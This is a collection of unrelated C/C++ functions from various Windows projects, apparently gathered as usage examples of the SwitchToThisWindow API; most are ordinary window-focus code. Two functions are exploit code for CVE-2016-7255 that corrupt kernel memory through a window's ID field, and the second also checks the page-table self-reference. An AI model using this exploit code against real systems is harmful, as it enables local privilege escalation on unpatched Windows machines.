BOOL ClientControlPanelManager::OpenControlPanel( LPCTSTR clientid ) { BOOL bAlreadyExists = TRUE; CPanelDlg* pPanel = NULL; CString strClientId = clientid; m_mapSection.Enter(); { PanelMap::iterator iter = m_map.find(strClientId); if (iter == m_map.end()) { bAlreadyExists = FALSE; pPanel = new CPanelDlg(); m_map.insert(PanelMap::value_type(strClientId, pPanel)); pPanel->SetClientID(strClientId); } else { pPanel = iter->second; SwitchToThisWindow(pPanel->GetSafeHwnd(),TRUE); pPanel = NULL; } } m_mapSection.Leave(); if (NULL != pPanel) { pPanel->DoModal(); NotifyControlPanelClosed(strClientId); } return !bAlreadyExists; }
//为验证码输入框设置输入焦点 void COcrInput::FocusOcrInput(void) { ASSERT(m_pfuncSetOcrInputFocus != NULL); if (m_pfuncSetOcrInputFocus()) { return; } HWND hWndDlg = FindWindow(_T("#32770"), _T("验证码输入")); HWND hWndInputDlg = NULL; HWND hInputControl = NULL; do { if (!hWndDlg) { return; } //找到单个验证码输入对话框 hWndInputDlg = FindWindowEx(hWndDlg, NULL, _T("#32770"), NULL); if (hWndInputDlg) { SwitchToThisWindow(hWndInputDlg, TRUE); //找到输入框 hInputControl = FindWindowEx(hWndInputDlg, NULL, _T("Edit"), NULL); if (hInputControl) SendMessage(hInputControl, WM_SETFOCUS, NULL, NULL); } hWndDlg = FindWindowEx(NULL, hWndDlg, _T("#32770"), _T("验证码输入")); } while (true); }
void __stdcall IDAP_run(int arg) { HWND hMainDlg = NULL; if(NULL == (hMainDlg=FindWindow("#32770", "Find Code")) ) { EnumWindows(EnumWindowsProc,0); hMainDlg = CreateDialog(g_hInstance, (LPCTSTR)IDD_DIALOG_FINDCODE, NULL,(DLGPROC)Main_Proc); if(NULL == hMainDlg) { msg("hMainDlg NULL 0x%X\n",GetLastError()); } else { ShowWindow(hMainDlg, SW_SHOWNA); } } else { POINT p; GetCursorPos(&p); RECT rect; GetWindowRect(hMainDlg,&rect); //rect保存窗口大小 MoveWindow(hMainDlg, p.x, p.y, rect.right - rect.left, rect.bottom - rect.top, TRUE); SwitchToThisWindow(hMainDlg, TRUE); } }
//设置最前 void CCommonWidget::Foreground(bool abShowFirst/* = true*/) { if(abShowFirst) { show(); } SwitchToThisWindow(winId(), TRUE); }
void UIScreenCaptureMgr::forceForgroundWindow(__in HWND hWnd) { HWND hForegroundWnd = ::GetForegroundWindow(); DWORD dwPid = GetWindowThreadProcessId(hForegroundWnd, NULL); if (!AttachThreadInput(dwPid, GetCurrentThreadId(), TRUE) || !::SetForegroundWindow(hWnd) || !::BringWindowToTop(hWnd)) { return; } SwitchToThisWindow(hWnd, TRUE); AttachThreadInput(dwPid, GetCurrentThreadId(), FALSE); }
/* Handles arguments received from remote instance. */ static void parse_received_arguments(char *argv[]) { int argc = 0; args_t args = {}; while(argv[argc] != NULL) { argc++; } (void)vifm_chdir(argv[0]); opterr = 0; args_parse(&args, argc, argv, argv[0]); args_process(&args, 0); exec_startup_commands(&args); args_free(&args); if(NONE(vle_mode_is, NORMAL_MODE, VIEW_MODE)) { return; } #ifdef _WIN32 SwitchToThisWindow(GetConsoleWindow(), TRUE); BringWindowToTop(GetConsoleWindow()); SetForegroundWindow(GetConsoleWindow()); #endif if(view_needs_cd(&lwin, args.lwin_path)) { remote_cd(&lwin, args.lwin_path, args.lwin_handle); } if(view_needs_cd(&rwin, args.rwin_path)) { remote_cd(&rwin, args.rwin_path, args.rwin_handle); } if(need_to_switch_active_pane(args.lwin_path, args.rwin_path)) { change_window(); } ui_sb_clear(); curr_stats.save_msg = 0; }
/* * Bring the specifed window to the front */ bool mixp_bring_to_front(const QWidget *window) { bool ret = false; if(window) { for(int i = 0; (i < 5) && (!ret); i++) { ret = (SetForegroundWindow(window->winId()) != FALSE); SwitchToThisWindow(window->winId(), TRUE); } LockSetForegroundWindow(LSFW_LOCK); } return ret; }
static void parse_recieved_arguments(char *args[]) { char lwin_path[PATH_MAX] = ""; char rwin_path[PATH_MAX] = ""; int lwin_handle = 0, rwin_handle = 0; int argc = 0; while(args[argc] != NULL) { argc++; } parse_args(argc, args, args[0], lwin_path, rwin_path, &lwin_handle, &rwin_handle); exec_startup_commands(argc, args); if(get_mode() != NORMAL_MODE && get_mode() != VIEW_MODE) { return; } #ifdef _WIN32 SwitchToThisWindow(GetConsoleWindow(), TRUE); BringWindowToTop(GetConsoleWindow()); SetForegroundWindow(GetConsoleWindow()); #endif if(view_needs_cd(&lwin, lwin_path)) { remote_cd(&lwin, lwin_path, lwin_handle); } if(view_needs_cd(&rwin, rwin_path)) { remote_cd(&rwin, rwin_path, rwin_handle); } if(lwin_path[0] != '\0' && rwin_path[0] == '\0' && curr_view != &lwin) { change_window(); } clean_status_bar(); curr_stats.save_msg = 0; }
int or_address_value_4(__in void* pAddress) { WNDCLASSEXW stWC = {0}; HWND hWndParent = NULL; HWND hWndChild = NULL; WCHAR* pszClassName = L"cve-2016-7255"; WCHAR* pszTitleName = L"cve-2016-7255"; void* pId = NULL; MSG stMsg = {0}; do { stWC.cbSize = sizeof(stWC); stWC.lpfnWndProc = DefWindowProcW; stWC.lpszClassName = pszClassName; if ( 0 == RegisterClassExW(&stWC) ) { break; } hWndParent = CreateWindowExW( 0, pszClassName, NULL, WS_OVERLAPPEDWINDOW|WS_VISIBLE, 0, 0, 360, 360, NULL, NULL, GetModuleHandleW(NULL), NULL ); if (NULL == hWndParent) { break; } hWndChild = CreateWindowExW( 0, pszClassName, pszTitleName, WS_OVERLAPPEDWINDOW|WS_VISIBLE|WS_CHILD, 0, 0, 160, 160, hWndParent, NULL, GetModuleHandleW(NULL), NULL ); if (NULL == hWndChild) { break; } #ifdef _WIN64 pId = ( (UCHAR*)pAddress - 0x28 ); #else pId = ( (UCHAR*)pAddress - 0x14); #endif // #ifdef _WIN64 SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId ); DbgPrint("hWndChild = 0x%p\n" , hWndChild); DebugBreak(); ShowWindow(hWndParent , SW_SHOWNORMAL); SetParent(hWndChild , GetDesktopWindow() ); SetForegroundWindow(hWndChild); _sim_alt_shift_tab(4); SwitchToThisWindow(hWndChild , TRUE); _sim_alt_shift_esc(); while( GetMessage(&stMsg , NULL , 0 , 0) ) { TranslateMessage(&stMsg); DispatchMessage(&stMsg); } } while (FALSE); if ( NULL != hWndParent ) { DestroyWindow(hWndParent); hWndParent = NULL; } if ( NULL != hWndChild ) { DestroyWindow(hWndChild); hWndChild = NULL; } UnregisterClassW(pszClassName , GetModuleHandleW(NULL) ); return 0; }
void game::MainLoop(void) { r3dOutToLog("Starting updater, v:%s, cmd:%s\n", UPDATER_VERSION, __r3dCmdLine); CUpdater updater; // parse command line int argc = 0; char** argv = CommandLineToArgvA(__r3dCmdLine, &argc); for(int i=0; i<argc; i++) { /*if(strcmp(argv[i], "-steam") == 0 && (i + 0) < argc) { r3dOutToLog("Trying to init steam\n"); gSteam.InitSteam(); continue; }*/ } if(g_isConsoleUpdater) { cmdLine_MainLoop(updater); return; } updater.Start(); win32_input_Flush(); if(g_taskbar) g_taskbar->SetProgressState(win::hWnd, TBPF_NORMAL); r3dStartFrame(); while(1) { r3dEndFrame(); r3dStartFrame(); g_mb = 0; g_hCursor = gCursorArrow; tempDoMsgLoop(); ::Sleep(1); r3dRenderer->StartRender(); r3dRenderer->StartFrame(); r3dRenderer->SetRenderingMode(R3D_BLEND_ALPHA | R3D_BLEND_NZ); r3dSetFiltering(R3D_POINT); r3dDrawBox2D(0, 0, r3dRenderer->ScreenW, r3dRenderer->ScreenH, r3dColor(64, 64, 64)); #if 0 updater.status_ = CUpdater::STATUS_TimeExpired; updater.showProgress_ = false; updater.prgTotal_.cur = 100; updater.prgTotal_.total = 100; r3dscpy(updater.updMsg1_, "Xxxxxxx"); #endif switch(updater.status_) { default: r3d_assert(0); case CUpdater::STATUS_Checking: g_bkgStarting->draw(0, 0, r3dRenderer->ScreenW, r3dRenderer->ScreenH, r3dColor(255, 255, 255)); break; case CUpdater::STATUS_NeedLogin: g_bkgLogin->draw(0, 0, r3dRenderer->ScreenW, r3dRenderer->ScreenH, r3dColor(255, 255, 255)); drawLoginButtons(updater); break; case CUpdater::STATUS_SerialCheck: g_bkgSerialCheck->draw(0, 0, r3dRenderer->ScreenW, r3dRenderer->ScreenH, r3dColor(255, 255, 255)); drawSerialCheckButtons(updater); break; case CUpdater::STATUS_NeedRegister: g_bkgRegister->draw(0, 0, r3dRenderer->ScreenW, r3dRenderer->ScreenH, r3dColor(255, 255, 255)); drawRegisterButtons(updater); break; case CUpdater::STATUS_TimeExpired: g_bkgExpired->draw(0, 0, r3dRenderer->ScreenW, r3dRenderer->ScreenH, r3dColor(255, 255, 255)); drawTimeExpiredButtons(updater); break; case CUpdater::STATUS_Updating: g_bkgUpdate->draw(0, 0, r3dRenderer->ScreenW, r3dRenderer->ScreenH, r3dColor(255, 255, 255)); drawUpdateButtons(updater); drawServerStatus(updater); drawNews(updater); break; } drawProgressBar(updater); drawCloseButton(); r3dRenderer->EndFrame(); r3dRenderer->EndRender(true); // if exit requested by control-f4 if(g_bExit) { updater.RequestStop(); break; } // activate updater window if other instance requested it if(WaitForSingleObject(g_updaterEvt, 0) == WAIT_OBJECT_0) { SwitchToThisWindow(win::hWnd, TRUE); } // try to remove mouse lock because of // win::HandleActivate code that will lock mouse inside window ClipCursor(NULL); // if signalled to play game if(g_bStartGame) break; if(updater.result_ != CUpdater::RES_UPDATING && updater.result_ != CUpdater::RES_PLAY) break; // wndclass.hCursor must be NULL for this to work //SetCursor(g_hCursor); } updater.Stop(); if(g_taskbar) g_taskbar->SetProgressState(win::hWnd, TBPF_NOPROGRESS); switch(updater.result_) { default: r3d_assert(0); case CUpdater::RES_STOPPED: break; case CUpdater::RES_PLAY: startGame(updater); break; case CUpdater::RES_ERROR: showErrorMessageBox(updater); break; } gHwInfoPoster.Stop(); TerminateProcess(GetCurrentProcess(), 0); return; }
static int lua_Focus(lua_State *L){ if (IsWindowVisible(ASWN->TC->hwnd)) SwitchToThisWindow(ASWN->TC->hwnd,0); return 0; }
int or_address_value_4(__in void* pAddress) { WNDCLASSEXW stWC = { 0 }; HWND hWndParent = NULL; HWND hWndChild = NULL; WCHAR* pszClassName = L"cve-2016-7255"; WCHAR* pszTitleName = L"cve-2016-7255"; void* pId = NULL; MSG stMsg = { 0 }; UINT64 value = 0; do { stWC.cbSize = sizeof(stWC); stWC.lpfnWndProc = DefWindowProcW; stWC.lpszClassName = pszClassName; if (0 == RegisterClassExW(&stWC)) { break; } hWndParent = CreateWindowExW( 0, pszClassName, NULL, WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 360, 360, NULL, NULL, GetModuleHandleW(NULL), NULL ); if (NULL == hWndParent) { break; } hWndChild = CreateWindowExW( 0, pszClassName, pszTitleName, WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CHILD, 0, 0, 160, 160, hWndParent, NULL, GetModuleHandleW(NULL), NULL ); if (NULL == hWndChild) { break; } #ifdef _WIN64 pId = ((UCHAR*)pAddress - 0x28); #else pId = ((UCHAR*)pAddress - 0x14); #endif // #ifdef _WIN64 SetWindowLongPtr(hWndChild, GWLP_ID, (LONG_PTR)pId); DbgPrint("hWndChild = 0x%p\n", hWndChild); ShowWindow(hWndParent, SW_SHOWNORMAL); SetParent(hWndChild, GetDesktopWindow()); SetForegroundWindow(hWndChild); _sim_alt_shift_tab(4); SwitchToThisWindow(hWndChild, TRUE); _sim_alt_shift_esc(); while (GetMessage(&stMsg, NULL, 0, 0)) { SetFocus(hWndParent); _sim_alt_esc(20); SetFocus(hWndChild); _sim_alt_esc(20); TranslateMessage(&stMsg); DispatchMessage(&stMsg); if (value != 0) { break; } __try { value = *(UINT64 *)PML4_SELF_REF; if ((value & 0x67) == 0x67) { printf("Value Self Ref = %llx\n", value); break; } } __except (EXCEPTION_EXECUTE_HANDLER) { continue; } } } while (FALSE); if (NULL != hWndParent) { DestroyWindow(hWndParent); hWndParent = NULL; } if (NULL != hWndChild) { DestroyWindow(hWndChild); hWndChild = NULL; } UnregisterClassW(pszClassName, GetModuleHandleW(NULL)); return 0; }
LRESULT CALLBACK MainWndProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { static BOOL s_fConfirmActive = FALSE; static UINT s_uTaskbarCreated = 0; switch (uMsg) { case WM_HOTKEY: { switch (wParam) { case IDH_NEXTTASK: case IDH_PREVTASK: case IDH_WINNEXTTASK: case IDH_WINPREVTASK: case IDH_INSTNEXT: case IDH_INSTPREV: case IDH_STNEXTTASK: case IDH_STINEXTTASK: ShowTaskSwitchWnd((UINT)wParam); break; case IDH_MINIMIZETRAY: FlipToTray(GetForegroundWindow()); break; case IDH_RESTORETRAY: if (g_cWti > 0) _UnflipFromTray(g_cWti - 1); break; case IDH_SHOWHIDE: ShowTrayIcon(!(g_dwFlags & TSF_SHOWTRAYICON)); break; case IDH_CONFIG: ConfigTaskSwitchXP(); break; case IDH_ALTAPPLIST: //MessageBox (0, L"This must display alternative task switching window\r\n" // L"(or the same window but in alternative mode)", L"klvov says:", MB_OK); //ShowAltTSWindow(); //OutputDebugString(L"IDH_ALTAPPLIST message received\n"); ShowTaskSwitchWnd((UINT)wParam); break; case IDH_EXIT: if (!(g_dwFlags & TSF_NOCONFIRMEXIT)) { if (s_fConfirmActive) { // activate confirm dialog #pragma FIX_LATER(multiple exit confirmations) break; /*HWND hwndMsg = FindWindowEx(NULL, NULL, L"#32770", L"TaskSwitchXP confirmation"); if (hwndMsg) { SetForegroundWindow(hwndMsg); break; }*/ } s_fConfirmActive = TRUE; if (ConfirmMessage(IDS_CONFIRM_EXIT)) DestroyWindow(hwnd); s_fConfirmActive = FALSE; } else DestroyWindow(hwnd); break; } break; } case WM_TIMER: if (wParam == TIMER_RIGHTUP) { KillTimer(hwnd, TIMER_RIGHTUP); mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_RIGHTUP, _ptRClick.x, _ptRClick.y, _dwRData, _dwRExtraInfo); } else if (wParam == TIMER_SETANIMATION) { KillTimer(hwnd, TIMER_SETANIMATION); ANIMATIONINFO ai; ai.cbSize = sizeof(ANIMATIONINFO); ai.iMinAnimate = TRUE; SystemParametersInfo(SPI_SETANIMATION, sizeof(ANIMATIONINFO), &ai, FALSE); } else if (wParam == TIMER_CHECKTRAYWND) { for (UINT i = 0; i < g_cWti; i++) { if (!IsWindow(g_pWti[i].hwnd) || IsWindowVisible(g_pWti[i].hwnd)) _UnflipFromTray(i, SC_MINIMIZE); } } else if (wParam == TIMER_RELOADICONS) { if (!(g_dwFlags & TSF_RELOADICONS)) KillTimer(hwnd, TIMER_RELOADICONS); ReloadTsTrayIcons(); } else if (wParam == TIMER_CHECKCOLORS) { KillTimer(hwnd, TIMER_CHECKCOLORS); if (CheckColorTheme()) CheckDefaultColors(); } else if (wParam == TIMER_CLOSEDESK) { if (WaitForSingleObject(g_hThreadTs, 0) == WAIT_OBJECT_0) { KillTimer(hwnd, TIMER_CLOSEDESK); //_RPT0(_CRT_WARN, "close desk\n"); if (g_hThreadTs) { CloseHandle(g_hThreadTs); g_hThreadTs = NULL; } if (g_hDesk) { CloseDesktop(g_hDesk); g_hDesk = NULL; } } } break; case WM_REMOTECMD: SwitchToThisWindow(hwnd, TRUE); if (wParam & CCLF_ESCAPE) { if (g_hwndTs) PostMessage(g_hwndTs, WM_TASKSWITCH, IDH_ESCAPE, 0); } else if (wParam & CCLF_STINEXTTASK) { ShowTaskSwitchWnd(IDH_STINEXTTASK); } else if (wParam & CCLF_STNEXTTASK) { ShowTaskSwitchWnd(IDH_STNEXTTASK); } break; case WM_MYTRAYMSG: if (wParam == IDI_TASKSWITCHXP) { if ((UINT)lParam == g_uTrayMenu) { ShowTrayMenu(); } else if ((UINT)lParam == g_uTrayConfig) { ConfigTaskSwitchXP(); } else if ((UINT)lParam == g_uTrayNext) { ShowTaskSwitchWnd(IDH_STTRAYNEXT); } else if ((UINT)lParam == g_uTrayPrev) { ShowTaskSwitchWnd(IDH_STITRAYNEXT); } } else { if (lParam == WM_LBUTTONUP) { UnflipFromTrayID((UINT)wParam); } else if (lParam == WM_RBUTTONUP) { ShowFlippedSystemMenu((UINT)wParam); } else if (lParam == WM_MBUTTONUP) UnflipFromTrayID((UINT)wParam, 0); } break; case WM_EXTMOUSE: if (wParam == HTMINBUTTON) { FlipToTray((HWND)lParam); } else if (wParam == HTMAXBUTTON) { HWND h = (HWND)lParam; DWORD dwExStyle = GetWindowLongPtr(h, GWL_EXSTYLE); SetWindowPos(h, ((dwExStyle & WS_EX_TOPMOST) ? HWND_NOTOPMOST : HWND_TOPMOST), 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE); } break; case WM_FLIPTOTRAY: return(FlipToTray((HWND)wParam)); //break; case WM_UNFLIPFROMTRAY: UnflipFromTray((HWND)wParam, (UINT)lParam); break; case WM_GETTRAYWINDOWS: if (wParam) { HWND *phWnd = (HWND*)wParam; int cWti = 0; while (cWti < MIN((int)lParam, (int)g_cWti)) { phWnd[cWti] = g_pWti[cWti].hwnd; cWti++; } return(cWti); } else return(g_cWti); break; case WM_RELOADSETTINGS: if (!LoadSettings()) { ReportError(IDS_ERR_LOADSETTINGS); DestroyWindow(hwnd); } break; case WM_THEMECHANGED: if (CheckColorTheme()) CheckDefaultColors(); SetTimer(hwnd, TIMER_CHECKCOLORS, 1000, NULL); break; case WM_CREATE: { s_uTaskbarCreated = RegisterWindowMessage(L"TaskbarCreated"); g_hwndMain = hwnd; SendMessage(hwnd, WM_SETICON, ICON_BIG, (LONG)(LONG_PTR)LoadImage(g_hinstExe, MAKEINTRESOURCE(IDI_TASKSWITCHXP), IMAGE_ICON, GetSystemMetrics(SM_CXICON), GetSystemMetrics(SM_CYICON), LR_DEFAULTCOLOR)); SendMessage(hwnd, WM_SETICON, ICON_SMALL, (LONG)(LONG_PTR)LoadImage(g_hinstExe, MAKEINTRESOURCE(IDI_TASKSWITCHXP), IMAGE_ICON, GetSystemMetrics(SM_CXSMICON), GetSystemMetrics(SM_CYSMICON), LR_DEFAULTCOLOR)); if (!LoadSettings()) { ReportError(IDS_ERR_LOADSETTINGS); return(-1); } if (!InitPreviewThread()) return(-1); // Weird huh? I cannot understand this... if (g_dwShowDelay && g_dwFlagsPv & TSFPV_DESKTOP && g_dwFlagsPv & TSFPV_TASKBAR) { RECT rcPvEx; rcPvEx.left = rcPvEx.top = 0; rcPvEx.right = 102; rcPvEx.bottom = 76; HDC hdcScreen = GetDC(NULL); HDC hdcMem = CreateCompatibleDC(hdcScreen); HBITMAP hbitmapMem = CreateCompatibleBitmap(hdcScreen, rcPvEx.right - rcPvEx.left, rcPvEx.bottom - rcPvEx.top); ReleaseDC(NULL, hdcScreen); if (hbitmapMem) { HBITMAP hbitmapOld = (HBITMAP)SelectObject(hdcMem, hbitmapMem); SetForegroundWindow(g_hwndMain); MyPrintWindow(FindWindow(L"Shell_TrayWnd", L""), hdcMem, &rcPvEx, &rcPvEx, MPW_NOCHECKPOS); SelectObject(hdcMem, hbitmapOld); DeleteObject(hbitmapMem); } DeleteDC(hdcMem); } SetTimer(hwnd, TIMER_CHECKTRAYWND, 1000, NULL); if (g_dwCmdLine & CCLF_STINEXTTASK) { ShowTaskSwitchWnd(IDH_STINEXTTASK); } else if (g_dwCmdLine & CCLF_STNEXTTASK) { ShowTaskSwitchWnd(IDH_STNEXTTASK); } break; } case WM_CLOSE: break; case WM_DESTROY: KillTimer(hwnd, TIMER_CHECKTRAYWND); DestroySettings(); DestroyPreviewThread(); for (int i = (int)g_cWti - 1; i >= 0; i--) _UnflipFromTray((UINT)i, 0); PostQuitMessage(0); break; default: if (uMsg == s_uTaskbarCreated) { ReloadTsTrayIcons(); } else return(DefWindowProc(hwnd, uMsg, wParam, lParam)); break; } return(0); }
VOID ZSwitchToThisWindow( HWND hWnd, BOOL fAltTab) { SwitchToThisWindow( hWnd, fAltTab) ; }